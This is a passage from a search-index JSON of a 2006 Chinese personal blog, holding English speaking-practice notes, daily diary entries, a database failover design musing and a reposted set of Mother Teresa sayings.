synthetically.\n","permalink":"https://tonybai.com/2006/04/29/spoken-english-note-series-at-work/","summary":"\u003cp\u003e对于一个工作的人来说，他一天的大部分’清醒’时间都是在工作单位度过的，办公室交流也就成为了每天生活中必备的部分，这次我们一起来学习办公室口语。下面是’口语8000句’之’在工作单位’的听写笔记。\u003c/p\u003e","title":"口语学习笔记之'在工作单位'"},{"content":"今天继续学习’口语8000句’之’生病受伤时’，目前也恰逢我感冒，所以颇有现学现用的感觉，下面是听写笔记。\n[请医生看病]\nDo you need a doctor?\nPlease call an ambulance.\nI’d like to see a doctor.\nI’m not feeling well.\nCould you send me a doctor?\nWhat is wrong with you?\nWhat are your symptoms?\nLet me check you temperature.\nDo you eat something unusual?\nLet me check your blood pressure.\nAre you taking any medication regularly?\nI am not taking any medication.\nIs it serious?\n[陈述症状]\nAre you feeling OK?\nYou look pale.\nYou don’t look well.\nI don’t feel well.\nShe passed out.\nI feel sick.\nI have a stomachache.\nI have a dull pain.\nI have a sharp pain.\nI have a throbbing pain.\nI have a piercing pain.\nI have a stabbing pain.\nI have a diarrhea.\nI have food poisoning.\nI have high/low blood pressure.\nI have a headache/toothache.\nI feel dizzy.\nI feel sluggish.\nI don’t have any appetite.\nI have a slight cold.\nI feel chilly.\nI have a bad cold.\nI have a stuffy nose. (鼻子不通气)\nI have a runny nose.\nI have a bit of a fever.\nI think I have a fever.\nI have a high temperature.\nI feel like throwing up.\nOuch!\nIt’s itchy.\nAhchoo!\nI broke my leg.\nI burned my hand.\nI sprained my ankle.\nI caught a cold from you.\nI must stay in bed.\nI have a stiff shoulders.\nMy eyes are tired.\nIs somebody hurt?\nMy fever has gone down.\nI can’t stop coughing.\nMy throat is sore.\nIt is bleeding.\nI have got a cut here.\nIt hurts.\nI got stung by a bee.\nDo I need a operation?\nWill it take long?\nIs it ok to drink?\nShould I be hospitalized?\nI feel better.\nI don’t feel any better.\nAre you all right again?\nHe passed away.\n[New Words To Me]\nsymptom — a characteristic sign or indication of the existence of something else.\npass out — faint.\nstomachache — pain in the stomach or abdomen.\nthrob — to vibrate, pulsate, or sound with a steady pronounced rhythm.\ndiarrhea — excessive and frequent evacuation of watery feces, usually indicating gastrointestinal distress or disorder.\ndizzy — having a whirling sensation and a tendency to fall.\nsluggish — lacking alertness, vigor, or energy; inert or indolent.\nappetite — an instinctive physical desire, especially one for food or drink.\nstiff – difficult to bend; rigid.\nsore — feeling physical pain; hurting.\nhospitalized — to place in a hospital for treatment, care, or observation.\npass away — die\n","permalink":"https://tonybai.com/2006/04/27/spoken-english-note-series-fall-ill/","summary":"\u003cp\u003e今天继续学习’口语8000句’之’生病受伤时’，目前也恰逢我感冒，所以颇有现学现用的感觉，下面是听写笔记。\u003c/p\u003e\n\u003cp\u003e[请医生看病]\u003cbr\u003e\nDo you need a doctor?\u003cbr\u003e\nPlease call an ambulance.\u003cbr\u003e\nI’d like to see a doctor.\u003cbr\u003e\nI’m not feeling well.\u003cbr\u003e\nCould you send me a doctor?\u003cbr\u003e\nWhat is wrong with you?\u003cbr\u003e\nWhat are your symptoms?\u003cbr\u003e\nLet me check you temperature.\u003cbr\u003e\nDo you eat something unusual?\u003cbr\u003e\nLet me check your blood pressure.\u003cbr\u003e\nAre you taking any medication regularly?\u003cbr\u003e\nI am not taking any medication.\u003cbr\u003e\nIs it serious?\u003c/p\u003e","title":"口语学习笔记之'生病受伤时'"},{"content":"俗话说：’福禄双至，祸不单行’，今天我终于体会到后者了。和以往一样早上起床还不算太晚，洗漱完毕，匆匆收拾物品，这时发现外面还在下着小雨而且风有3-4级，不知道今年是咋搞的，沈城的天气糟糕透顶，已经好久没有体会到艳阳天的感觉了。\n顶风冒雨到食堂买好了早餐，又疾步冲到公司，冷风把手冻得那是相当的凉。到公司第一个要做的工作就是开机，我用的是自己的本本，公司配的台式机虽然性能超群，但是自己已经看不惯CRT显示器了。等我打开笔记本包才发现我的电源线没有带，我每天晚上用完本子后只是把本子放到包包中，因为我怕有小强之类的生命体寄生在我的本本中，对于电源线我只是拔掉后放在桌子上，第二天早上再装包，这下得到’报应’了，估计我的电源线不满了。心里一想，反正自己还有台式机呢，中午再回去取电源线也不迟，而且上午还有一个项目总结会，用电脑的时间应该不是很长。我就顺手按下了台式机的电源，可是等了半天，那个CRT显示器也不亮，我又重启了两次电脑，插拔几次电源线后，发现问题依旧，这时才意思到问题严重了，我这台式机可是一个月之前刚刚换的HP品牌机，怎么这才几天就不行了呢，况且这期间我使用它的次数屈指可数。HP呀让我怎么才能相信你的质量呢？真是’祸’不单行呀。没办法了，报修，然后冒雨回去取电源线，总不能不干活儿吧，遂打开伞，消失在风雨中^_^。\n设备修理的同事效率还很高，等我取回电源线后，发现显示器已经’起死回生’了，问旁边的同事到底是如何弄好的？同事笑着回答说：\u0026ldquo;电源线接触不严\u0026rdquo;，我自己插电源线的时候可是使了很大劲儿的哟，怎么还能接触不严，心想以后自己买电脑坚决不买HP的，HP的服务也许是金牌的，但是质量这么差，服务再好又能怎样。严重气愤，害得我在寒风中白跑那么远！\n","permalink":"https://tonybai.com/2006/04/26/misfortunes-never-come-singly/","summary":"\u003cp\u003e俗话说：’福禄双至，祸不单行’，今天我终于体会到后者了。和以往一样早上起床还不算太晚，洗漱完毕，匆匆收拾物品，这时发现外面还在下着小雨而且风有3-4级，不知道今年是咋搞的，沈城的天气糟糕透顶，已经好久没有体会到艳阳天的感觉了。\u003c/p\u003e","title":"'祸'不单行"},{"content":"继续学习’口语8000句’之’享受余暇时间’，下面是听写笔记！\n[邀请友人]\nAre you free this weekend?\nCould I see you again?\nCould you give me your phone number?\nWhere shall we meet?\nShall I come to pick you up?\nAre you doing anything this afternoon?\nHow about having dinner with me?\nWhy don’t we go to see a baseball game?\nSorry, I’m tied up.\nI’m afraid I can’t.\nThanks for asking, but…\nHow about a rain check?\nI hope you can come.\n[订计划]\nWhen is it convenient for you?\nAbout what time?\nWhenever.\nWhen you have time.\nI’m free today.\nI’ll be busy tomorrow.\nHow about the tenth?\nWhen are you free?\nThat is a bad day for me.\nThat day is fine.\nWhen can I come over?\nYou decide when/where.\nIs seven convenient for you?\nWhen can you come over?\nIs it too early/late?\nIt is a date.\nSee you then.\n[出门的时候]\nAre you ready?\nReady!\nI’m not ready.\nWhat time shall we leave?\nWhat time do we arrive?\nLet’s get going.\n[看电影]\nWould you like to go to a movie?\nWhat is on tonight?\nWhat movie do you want to see?\nI want to see…\nWhere is … playing?\nHow long is … playing?\nWho is in this movie?\nHow long does it last?\nWhat time is the next showing?\nWhat time will it be over?\nTwo, please!\nI can’t see because of the person in front of me.\nWe are way in the back, aren’t we?\nLet’s sit closer up front.\nThat was interesting/boring, wasn’t it?\nI was moved.\n[听音乐会]\nI like two tickets for October 3rd, please.\nSorry, we were sold out.\nWhen do you have tickets?\nWhat time does it start?\nCan I make a reservation?\nWhere can I buy a ticket?\nIs this seat taken?\nWe have great seats, don’t we?\nGo for it!\n[打高尔夫球]\nI’d like to play golf.\nWould you like to golf tomorrow?\nDo you want to join me?\nAre there any golf courses around here?\nHow much is it per person?\nHow much is it per day?\nAre there any extra charge?\nCan I rent the equipment?\nPlease make a reservation for golf.\nI’d like to make golf reservation.\nWhen would you like to play?\nThis Friday is possible.\nThere are four of us.\nWhat time are we starting?\n[一起去喝酒]\nHow about a drink?\nI need a drink.\nWould you like to have a drink after work?\nDo you have any beer?\nTwo bottles of beer, please.\nOne whiskey with water, please.\nWhat kind of snacks should we have?\nLet’s forget about work and have some fun.\nCheers!\nWhat are you drinking?\nI like to go barhopping.\nThe first shape is the best.\nNothing beats this!\nWould you like a refill?\nAnother beer, please.\nThis whiskey is strong.\nHow do you like sake?\nIt is strong.\nI am drunk.\nI feel a little tipsy.\nI’m loaded.\nDrink moderately!\nI get drunk easily.\nI drank too much.\nI should have drank less. == I have drank too much.\nI have a hangover.\n[唱卡拉OK]\nLet’s go to karaoke.\nWhat is karaoke?\nSinging along with recorded music.\nAre you good at singing?\nI’d like to request a song.\nYou sing first.\nLet’s enjoy ourselves.\nHow about a song, John?\nWhat are you going to sing?\nLet’s sing a duet.\nNow it is my turn.\nI don’t have the nerve to sing in front of people.\nI can’t keep up with the new songs.\nI am tone-deaf.\nWhat is your karaoke specialty?\nI’ve never heard of that song.\nYou are a good singer.\n[New Words To Me]\nrain check — a promise that an unaccepted offer will be renewed in the future. (如果以后方便的时间或者下次还有机会，邀请继续有效)\nget going — 出发\nbarhop — to patronize a series of bars during an evening.\nrefill — to fill again.\nsake — a Japanese alcoholic beverage, brewed from rice. pronounced \u0026ldquo;SAH-KEH\u0026rdquo; in Japanese, but often \u0026ldquo;SAH-ki\u0026rdquo; by English speakers.\ntipsy — slightly intoxicated.\nloaded — very drunk.\nduet — a composition for two voices or instruments.\ntone-deaf — unable to appreciate music.\n","permalink":"https://tonybai.com/2006/04/25/spoken-english-note-series-enjoy-spare-time/","summary":"\u003cp\u003e继续学习’口语8000句’之’享受余暇时间’，下面是听写笔记！\u003c/p\u003e\n\u003cp\u003e[邀请友人]\u003cbr\u003e\nAre you free this weekend?\u003cbr\u003e\nCould I see you again?\u003cbr\u003e\nCould you give me your phone number?\u003cbr\u003e\nWhere shall we meet?\u003cbr\u003e\nShall I come to pick you up?\u003cbr\u003e\nAre you doing anything this afternoon?\u003cbr\u003e\nHow about having dinner with me?\u003cbr\u003e\nWhy don’t we go to see a baseball game?\u003cbr\u003e\nSorry, I’m tied up.\u003cbr\u003e\nI’m afraid I can’t.\u003cbr\u003e\nThanks for asking, but…\u003cbr\u003e\nHow about a rain check?\u003cbr\u003e\nI hope you can come.\u003c/p\u003e","title":"口语学习笔记之'享受闲暇时间'"},{"content":"我也是直到最近才接触到\u0026rsquo;高可用性\u0026rsquo;这个词儿的，从我所在的项目需求角度出发，我理解\u0026rsquo;高可用性\u0026rsquo;就是在系统的外部依赖实体(如主数据库、主网络)等瘫痪了之后，系统仍然能正常的支撑业务的运行，当然系统自己宕掉了，那就没辙了^_^。高可用性设计实际上就是在系统自身完好的情况下如何考虑其外部实体的设计以保证系统能持续的运行支撑下去，起码从我现在正在做的项目的角度来说是可以这样理解的。\n目前我们的系统的高可用性主要体现在对数据库的访问机制上。对于24×7小时运行的系统来说，数据库不可避免的需要采用一些容灾机制来保证数据的正确和不丢失或者是将损失减少到最低点。我们的系统采用双机热备的方式，一旦ACTIVE数据库宕掉，我们的系统就应该\u0026rsquo;自动\u0026rsquo;切换到STANDBY数据库上。这里就存在一个问题，到底如何切换，又如何在ACTIVE数据库恢复后，重新将数据库切换回到ACTIVE数据库呢？我个人从一开始就想这个切换过程应该对我们的系统保持透明，我们的系统能看到的只有一套用户名、密码和服务名并利用这套配置访问数据库，置于访问到哪一个数据库可由数据库那方来定，这样对于我们的系统来说实现起来会简单很多，但是我们的技术支持组给的答案却是做不到，需要我们的系统自己提供一套行之有效的数据库切换方案。经过研究我们提供这样一套办法：利用一个外部监视程序定时检测主数据库是否可用，这个状态检测程序一旦发现主数据库不可用，就通过一个简单内部通信协议发送一个消息包到我们的系统，我们的系统解析该消息包，做出相应的切换处理，并发送告警通知相关人员；当检测程序一旦发现主数据库可用了，发送另外一个消息包通知我们的系统数据库恢复了。我们的系统中有多个兄弟进程依赖数据库，每个进程都是单独与数据库建立session的，这样一旦需要切换数据库，我们这些可怜的进程就需要做同样的判断流程，可想而知代码中会存在多少的重复或相似的代码段，而且一旦流程修改我势必要修改多处，这样代码中的坏味道儿可就太浓了，势必应该进行重构，记得以前写过这么一篇\u0026rsquo;C语言也重构\u0026rsquo;，关于C语言重构的一些事项可以到那篇文章中查询。\n灵光一闪！突然想到在Java组有数据库连接池的概念，我们可否效仿一下呢，我们也做一个这样的\u0026rsquo;数据库Session池\u0026rsquo;或者是一组抽象了的数据库session管理接口，这样对session的管理就集中起来了！session的管理接口负责判断是否需要切换和重新连接数据库，而这些切换操作对那些依赖数据库的进程来说是透明的。这样每个进程在每处理一条消息的时候都去调用一次open_session这样的接口，然后利用打开的session进行数据库操作即可。而open_session这个接口的实现也许要分两种情况：\n1、在未切换数据库的情况下，使用原来已经存在的session即可，这里浪费的仅仅是一次条件判断而已；\n2、在切换数据库的情况下，重新建立一个连到新数据库的session即可。\n感觉这个方案可行，晚些儿时候再认真考虑一下，拿出一套可行方案。其实这里还要考虑这样一种情况也是可能性极其微小的情况，那就是两个数据库都宕了，这时候要考虑高可用性的话，那就该提供一些在没有数据库情况下的默认处理机制或者策略了。\n","permalink":"https://tonybai.com/2006/04/25/a-problem-about-high-available-service/","summary":"\u003cp\u003e我也是直到最近才接触到\u0026rsquo;高可用性\u0026rsquo;这个词儿的，从我所在的项目需求角度出发，我理解\u0026rsquo;高可用性\u0026rsquo;就是在系统的外部依赖实体(如主数据库、主网络)等瘫痪了之后，系统仍然能正常的支撑业务的运行，当然系统自己宕掉了，那就没辙了^_^。高可用性设计实际上就是在系统自身完好的情况下如何考虑其外部实体的设计以保证系统能持续的运行支撑下去，起码从我现在正在做的项目的角度来说是可以这样理解的。\u003c/p\u003e","title":"遇到系统的高可用性问题"},{"content":"今天是五一黄金周之前的最后一周了，如果我没有猜错的话，绝大部分的企事业单位都会’串休’，当然我也不例外，这周要’鏖战’七天，哦，不，不是七天，我’追求’连作11天。\n不用担心，我没有疯，呵呵。最近项目进度抓得紧，今天下午开了3个小时的会来确认五一期间那些子系统负责人要加班，挑来减去就我老哥一个。可不是我效率不高啊，的确是我这块儿改动量较大，按正常每天8小时工作很难完成，我很少、特少、少之又少晚上下班后加班，因为那是我个人的时间，我可不想无偿捐献给公司，不是我忠诚度不高，而是习惯+性格所致，当然破例的时候也不少，最近没办法也’奉献’了自己的一些时间，因为第二天很多人的工作都依赖你的工作成果呢，我可不好意思让别人都等着我。这是我入司以来第一次正式加班(有加班费的加班)，听说五一前3天加班，补双薪。按照此规定，我向PL申请前4天加班，也就是说我要连续奋战11天，还好这周有一次项目组活动，可以出去放松一下。\n最近有一个对加班极为不利的因素，那就是我处在了感冒的边缘；从昨晚开始就有感冒’前兆’了，身体感到发冷、鼻子有些阻塞，不过今天一天下来，病情并未’恶化’，看来我的免疫系统还是发挥了很大作用的，最近沈城的天气太差了，我就从未见过这么糟糕的而且连续糟糕的天气，但愿再过段时间老天爷能发发慈悲，把春天还给我们^_^。俗话说：’祸不单行’，上周和另一个项目组吃饭，饭店也很不错，在沈城也很有名，但是就是吃完坏了肚子，也不知道是哪道名菜所致，今天听同事说很多参加那次活动的XDJM都有和我一样的经历。赶紧吃药！另外在这个早春季节流行性疾病盛行，大家在外面吃饭的时候真的要格外注意饮食卫生！别忘了，’病从口入’这个简单的道理，我可是前车之鉴啊^_^\n眼看要下班了，上了一下Blogbus，发现主页上自己的Blog赫然列在’优秀博客推荐栏‘中，敢情自己也上’光荣榜‘了，心里顿时喜悦起来，我想愉快的心情对我的感冒早日痊愈会有很大帮助的。唯一的遗憾就是自己的Blog模板过于简洁，在’光荣榜’上感觉不是那么上镜。今天CSDN就没那么幸运了，早上11点左右，按老习惯到CSDN看看有没有技术新闻，发现CSDN显示异常，自己在怀疑’CSDN是不是被黑了‘，不过目前CSDN一切运行良好了，虚惊一场！^_^\n","permalink":"https://tonybai.com/2006/04/24/work-overtime-on-may-day-vacation/","summary":"\u003cp\u003e今天是五一黄金周之前的最后一周了，如果我没有猜错的话，绝大部分的企事业单位都会’串休’，当然我也不例外，这周要’鏖战’七天，哦，不，不是七天，我’追求’连作11天。\u003c/p\u003e","title":"今年五一要加班"},{"content":"我是悟出来了：要想学好英语，特别是要想学好口语，必须要通过背诵这一关，特别是在没有语言环境的条件下，’死记硬背’不失为一好办法。而俗话说的好：’好记性不如烂笔头’，下面就是我听’口语8000句’的第一课’在家中’的听写笔记。\n[从起床到出门]\nGood Morning!\nDid the alarm clock go off?\nIt is time to get up!\nGet up soon!\nAre you awake?\nAre you feeling sick?\nDid you sleep well?\nWould you turn off the alarm clock?\nYou finally got up.\nIt is a nice day!\nDid you stay up late last night?\nLet us fold up the futon/pillow.\nYou were snoring last night.\nI had a nightmare.\nYou left the light on.\nI have to go (and) wash my face.\nIt is time to have breakfast.\nI am still sleepy.\nI am still yawning.\nI have a hangover.\nI am a night person.\nCoffee wakes me up.\nDid you brush your teeth?\nI have to comb my hair.\nWhat should I wear?\nHurry up and get dressed.\nPut those pajamas away.\nI am leaving. Bye Mom!\nLet’s play hooky today!\nYou are wearing your sweater inside out.\nIt is upside down.\nDon’t forget to take out the garbage.\nIt is your turn to take out the garbage.\nWhat are you doing today?\nIf you don’t hurry, we will be late.\nHurry up or you’ll be late for school.\nDid you lock the door?\nAre you forgetting something?\nIt is already 8:00 clock!\nI am late.\nI have to rush!\nAre you gonna be late today?\nWhat time are you coming home?\nHave you got your lunch box?\nIt might rain today.\nDon’t forget to lock the door when you leave.\n[从回家到就寝]\nI’m home/back.\nWelcome home/back.\nDid you have a goog time?\nHow did it go today?\nCan I go out to play?\nI’m hungry.\nWhere are the snacks?\nI am going to cram school now.\nMay I have my allowance?\nI am tired.\nWhat would you like for dinner?\nWould you help me set the table?\nWhat should I make for dinner?\nIt is good to be home.\nWould you run to the store?\nThe bath is ready.\nI am taking a shower.\nIs dinner ready?\nMom, what is for dinner tonight?\nWhat is for dinner?\nToday we are having curry.\nHow soon can you get it ready?\nLet’s eat.\nPlease go ahead.\nThe knife cuts well, doesn’t it?\nThe water is boiling.\nCome and get it!\nIt is time to eat.\nI’m coming.\nDid you wash your hands well?\nDon’t spill it.\nEat all of your vegetables.\nFinish up your plate.\nI don’t like asparagus.\nIt was very delicious, Thank you.\nWould you clear the table?\nDo the dishes!\nI will dry the dishes.\nWhat are you doing?\nI am watching TV.\nAre there good programs on TV?\nWhat is on channel 8?\nWould you change the channel?\nI want to watch more TV.\nLet us spread out the futon.\nI am sleepy.\nDid you do your homework?\nStudy hard!\nHurry up and go to sleep.\nEnough with your video game.\nMake sure you brush your teeth.\nAre you ready for tomorrow?\nI am going to take a bath.\nTime to go to sleep.\nYou left the TV on.\nDon’t leave your stuff here.\nI set the alarm clock for 8:00.\nWake me up at 7:00 tomorrow.\nGood night!\nSweet dreams!\n[休息日]\nI want to take a nap.\nI am going to lie down.\nYou are pretending to be asleep.\nWere you sleeping?\nNo, I was awake.\nWill you change the baby’s diaper?\nDo you need to pee?\nIt is time to go wee-wee(pee-pee).\nPeekaboo!\nLet us play catch!\nThe water is leaking.\nIt is so dusty.\nIt is stuffy in this room.\nIt is drafty in this room.\nWiil you feed the dog?\nWill you take the dog for a walk?\nTake care of my brother and sister.\nPlease water the plants.\nWhat a mess!\nHelp me!\nClean up your room.\nHelp me clean up the house.\nWe’re out of the dish detergent.\nWould you put up the clothes to dry?\nWill you help me fold up the clothes?\nPlease scrub the sink.\nI have to vacuum my room.\nPlease dust the shelves.\nPlease mop the floor.\nWill you iron the shirt?\nI have to iron my skirt.\nLet us go grocery shopping.\nThe park was crowded.\nCan you baby-sit tonight?\n[送礼物]\nThis is for you.\nThis is your share.\nWhat do you want for your birthday?\nTa-dah!\n[生活习惯]\nI usually work out after work.\nI started jogging.\nI quit smoking.\nDo you dream often?\nI’ve been forgetful lately.\n[理财]\nWhen is this due?\nIt is due on the thirtieth.\nCould you give me change?\nDo you have change for 100 yuan?\nI need to withdraw 1000 yuan from my saving account.\nI paid out of my own pocket.\nI am out of cash.\nI don’t have much money on me now.\nI am broke.\nI have a lot of money on me now.\nI can not afford to be lazy.(没时间闲呆着)\nWhat a waste!\nHe didn’t pay the debt and disappeared.\n[New Words To Me]\nfuton — a simple Japanese floor bed or mattress made from strong cotton fabric and filled with cotton waste, tufted and unbordered.\nsnore — breathe noisily during one’s sleep.\nyawn — an involuntary intake of breath through a wide open mouth; usually triggered by fatigue or boredom.\nhangover — medically termed veisalgia, is the after-effect following the consumption of large amounts of one drug or another. In particular, it is most commonly associated with the consumption of alcoholic beverages.\ncomb — a thin toothed strip, as of plastic, used to smooth, arrange, or fasten the hair.\npajamas — a form of nightwear for those who do not prefer to sleep in their underwear or nude.\nplay hooky — (slang.) play truant from work or school.\nsnack — a hurried or light meal; Food eaten between meals.\ncram school — schools that train their students to meet particular goals, most commonly to pass the entrance examinations of high schools or universities.\nallowance — a term used to describe a regular allocation of money from one person to another. Usually parents will give their children a relatively small amount of money on a recurring basis.\ncurry — season with a mixture of spices; typical of Indian cooking.\nspill — to cause or allow (a substance) to run or fall out of a container.\nasparagus — 芦笋\nspread out — unfold; open from a closed or folded state.\nstuff — household or personal articles considered as a group.\nnap — to sleep for a brief period, often during the day; doze.\ndiaper — a folded piece of absorbent material, such as paper or cloth, that is placed between a baby’s legs and fastened at the waist to contain excretions.\npee — (slang.) informal terms for urination.\nwee-wee — as same as pee.\npeekaboo — a game for amusing a small child, in which one covers one’s face or hides and then returns to view saying Peekaboo!\nstuffy — lacking sufficient ventilation; close.\ndrafty — having or exposed to drafts of air.\ndetergent — a cleansing substance that acts similarly to soap but is made from chemical compounds rather than fats and lye.\nscrub — to remove (dirt or stains) by hard rubbing.\nsink — a water basin fixed to a wall or floor and having a drainpipe and generally a piped supply of water.\nvacuum — a device that uses suction to collect dirt from the bottom and sides of a pool.\ndust — to remove dust from by wiping, brushing, or beating.\nmop — to wash or wipe with or as if with a mop.\ngrocery — a store selling foodstuffs and various household supplies.\njog — to run or ride at a steady slow trot.\n","permalink":"https://tonybai.com/2006/04/24/spoken-english-note-series-at-home/","summary":"\u003cp\u003e我是悟出来了：要想学好英语，特别是要想学好口语，必须要通过背诵这一关，特别是在没有语言环境的条件下，’死记硬背’不失为一好办法。而俗话说的好：’好记性不如烂笔头’，下面就是我听’口语8000句’的第一课’在家中’的听写笔记。\u003c/p\u003e","title":"口语学习笔记之'在家中'"},{"content":"今天起来的特别早，一起床就感觉沈城的气温明显回升了，洗漱完毕出门一看果然有春天的气息了，阳光照在身上那叫一个舒服，要不是上班真想在这和煦的阳光下好好的享受一番。\n上班的路上遇到物业的两位开拖拉机翻草坪的司机师傅在闲聊，我一走一过就听到其中一位师傅说：\u0026ldquo;你别小看我这拖拉机，那些开奔驰宝马的人还开不了呢\u0026rdquo;，另一位师傅就问了：\u0026ldquo;人家才不愿意开你这破拖拉机呢\u0026rdquo;，第一位师傅接着说：\u0026ldquo;想开他也开不了，想开拖拉机那得先学会修\u0026rdquo;，听到这些我心中暗自偷乐，不过的确给我带来了些许好心情。写下这段小笑话，也希望把好心情传递给所有看到这篇文章的人！^_^\n","permalink":"https://tonybai.com/2006/04/21/learn-repair-tractor-before-you-drive-it/","summary":"\u003cp\u003e今天起来的特别早，一起床就感觉沈城的气温明显回升了，洗漱完毕出门一看果然有春天的气息了，阳光照在身上那叫一个舒服，要不是上班真想在这和煦的阳光下好好的享受一番。\u003c/p\u003e","title":"想开拖拉机吗，那你得会修！"},{"content":"沈城的天气真是让人郁闷！就像我同事评价的一样，这周四天来每天天气都’特立独行’，不过有一个共同点，那就是每天都让我盖上厚厚的被子蜷缩着不愿起来，这样的天气怎能不让人的心情糟糕，不过’苦尽甘来’，心情也不会一直坏的，这不晚上边吃饭边欣赏Blog，发现自己的Blog上有Panwh的评论，上过Blogbus论坛的人都知道Panwh是谁，BlogBus论坛管理员。打开评论管理看Panwh的这条评论：\u0026ldquo;感谢你对BUS的支持，我们已经推荐你为BlogBus优秀乘客，详细可见http://top10.blogbus.com/ 谢谢。\u0026quot;，看到这条评论，这周的郁闷心情顿时’烟消云散’！\n记得第一次知道BlogBus有优秀乘客这一说好像是在一年多以前，当时dreamhead发来电子邮件说他被选为Blogbus优秀作者了，当时那叫一个羡慕！ 不过羡慕之余，自己也开始努力经营自己的这点’自留地’。说实话，自己在Blog上还是花费了不少功夫的，当然这个过程也让自己无论在书面语言表达还是思考问题上都有不小的收获！记得去年年底一位朋友发mail过来说：’你的Blog经营的不错吗，你是不是很闲呀’，其实我很忙，有些时候是这样一种情况：半夜挤出时间想想自己又没有什么想写的，如果有就一定写完再睡！也许你也可以看到我的很多Blog的发表时间都是在凌晨。写Blog就这样渐渐地成为了我的一个习惯，习惯的力量是巨大的，有时候如果一天不写点东西，自己就’寝食难安’，呵呵，有点夸张了^_^。另外自己一直保持着简洁不花哨的Blog风格，在我的文章中你不会见到五颜六色的图片，我所有的图片都放在了我的相册中，如果文章需要，我会给出链接，我喜欢简洁明快的风格，所以自从我选择了这个模板后，我就再也没有改变过，而且感觉自己越来越喜欢这种风格了。\n正如我给Panwh回复的一样：\u0026ldquo;能成为BlogBus优秀乘客，心里真的是很高兴，感谢BlogBus为我提供一个这么好的平台来展示自己！由衷的说声’谢谢！\u0026quot;，耕耘总会有收获，能成为优秀乘客也是对自己付出的一种肯定。’优秀乘客’已经到了第二十五期了，真心希望以后BlogBus能开得更远更好！\n","permalink":"https://tonybai.com/2006/04/20/become-the-25th-periodical-excellent-passenger-of-blogbus/","summary":"\u003cp\u003e沈城的天气真是让人郁闷！就像我同事评价的一样，这周四天来每天天气都’特立独行’，不过有一个共同点，那就是每天都让我盖上厚厚的被子蜷缩着不愿起来，这样的天气怎能不让人的心情糟糕，不过’苦尽甘来’，心情也不会一直坏的，这不晚上边吃饭边欣赏Blog，发现自己的Blog上有\u003ca href=\"http://panwh.blogbus.com/index.html\"\u003ePanwh\u003c/a\u003e的评论，上过\u003ca href=\"http://www.blogbus.com/forum/\"\u003eBlogbus论坛\u003c/a\u003e的人都知道Panwh是谁，BlogBus论坛管理员。打开评论管理看Panwh的这条评论：\u0026ldquo;感谢你对BUS的支持，我们已经推荐你为\u003ca href=\"http://top10.blogbus.com/\"\u003eBlogBus优秀乘客\u003c/a\u003e，详细可见\u003ca href=\"http://top10.blogbus.com/\"\u003ehttp://top10.blogbus.com/\u003c/a\u003e 谢谢。\u0026quot;，看到这条评论，这周的郁闷心情顿时’烟消云散’！\u003c/p\u003e","title":"成为BlogBus第二十五期优秀乘客"},{"content":"我不是教徒，但是我相信人性和真理，今天看到潘石屹的Blog中贴出了一篇’德兰修女箴言‘的文章。说实在的，我对德兰修女知之甚少，但是看了其语录后感觉到了其中的人性和真理。所以这里我也把德兰修女的这段话贴在我的Blog上，一是希望更多的人能看到它，领悟它！二是记录下它供自己随时温习！箴言虽然是德兰修女的，但是让我知道她的却是潘石屹的Blog，在此感谢！\n这段箴言全文如下：\n人们经常是不讲道理的、没有逻辑的和以自我为中心的\n不管怎样，你要原谅他们\nPeople are often unreasonable, illogical and self-centered;\nForgive them anyway.\n即使你是友善的，人们可能还是会说你自私和动机不良\n不管怎样，你还是要友善\nIf you are kind, people may accuse you of selfish, ulterior motives;\nBe kind anyway.\n当你功成名就，你会有一些虚假的朋友\n和一些真实的敌人\n不管怎样，你还是要取得成功\nIf you are successful, you will win some false friends\nAnd some true enemies;\nSucceed anyway.\n即使你是诚实的和率直的，人们可能还是会欺骗你\n不管怎样，你还是要诚实和率直\nIf you are honest and frank, people may cheat you;\nBe honest and frank anyway.\n你多年来营造的东西\n有人在一夜之间把它摧毁\n不管怎样，你还是要去营造\nWhat you spend years building,\nSomeone could destroy overnight;\nBuild anyway.\n如果你找到了平静和幸福，他们可能会嫉妒你\n不管怎样，你还是要快乐\nIf you find serenity and happiness, they may be jealous;\nBe happy anyway.\n你今天做的善事，人们往往明天就会忘记\n不管怎样，你还是要做善事\nThe good you do today, people will often forget tomorrow;\nBe good anyway.\n即使把你最好的东西给了这个世界\n也许这些东西永远都不够\n不管怎样，把你最好的东西给这个世界\nGive the world the best you have,\nAnd it may never be enough;\nGive the world the best you have anyway.\n你看，说到底，它是你和上帝之间的事\n而决不是你和他人之间的事\nYou see, in the final analysis, it is between you and God;\nIt is never between you and them anyway.\n德兰修女\nFrom Mother Theresa\n","permalink":"https://tonybai.com/2006/04/18/sayings-from-mother-theresa/","summary":"\u003cp\u003e我不是教徒，但是我相信人性和真理，今天看到\u003ca href=\"http://blog.sina.com.cn/u/1182391231\"\u003e潘石屹\u003c/a\u003e的Blog中贴出了一篇’\u003ca href=\"http://blog.sina.com.cn/u/4679dbbf010002vj\"\u003e德兰修女箴言\u003c/a\u003e‘的文章。说实在的，我对德兰修女知之甚少，但是看了其语录后感觉到了其中的人性和真理。所以这里我也把德兰修女的这段话贴在我的Blog上，一是希望更多的人能看到它，领悟它！二是记录下它供自己随时温习！箴言虽然是德兰修女的，但是让我知道她的却是潘石屹的Blog，在此感谢！\u003c/p\u003e\n\u003cp\u003e这段箴言全文如下：\u003cbr\u003e\n人们经常是不讲道理的、没有逻辑的和以自我为中心的\u003cbr\u003e\n不管怎样，你要原谅他们\u003cbr\u003e\nPeople are often unreasonable, illogical and self-centered;\u003cbr\u003e\nForgive them anyway.\u003cbr\u003e\n \u003cbr\u003e\n即使你是友善的，人们可能还是会说你自私和动机不良\u003cbr\u003e\n不管怎样，你还是要友善\u003cbr\u003e\nIf you are kind, people may accuse you of selfish, ulterior motives;\u003cbr\u003e\nBe kind anyway.\u003cbr\u003e\n \u003cbr\u003e\n当你功成名就，你会有一些虚假的朋友\u003cbr\u003e\n和一些真实的敌人\u003cbr\u003e\n不管怎样，你还是要取得成功\u003cbr\u003e\nIf you are successful, you will win some false friends\u003cbr\u003e\nAnd some true enemies;\u003cbr\u003e\nSucceed anyway.\u003cbr\u003e\n \u003cbr\u003e\n即使你是诚实的和率直的，人们可能还是会欺骗你\u003cbr\u003e\n不管怎样，你还是要诚实和率直\u003cbr\u003e\nIf you are honest and frank, people may cheat you;\u003cbr\u003e\nBe honest and frank anyway.\u003cbr\u003e\n \u003cbr\u003e\n你多年来营造的东西\u003cbr\u003e\n有人在一夜之间把它摧毁\u003cbr\u003e\n不管怎样，你还是要去营造\u003cbr\u003e\nWhat you spend years building,\u003cbr\u003e\nSomeone could destroy overnight;\u003cbr\u003e\nBuild 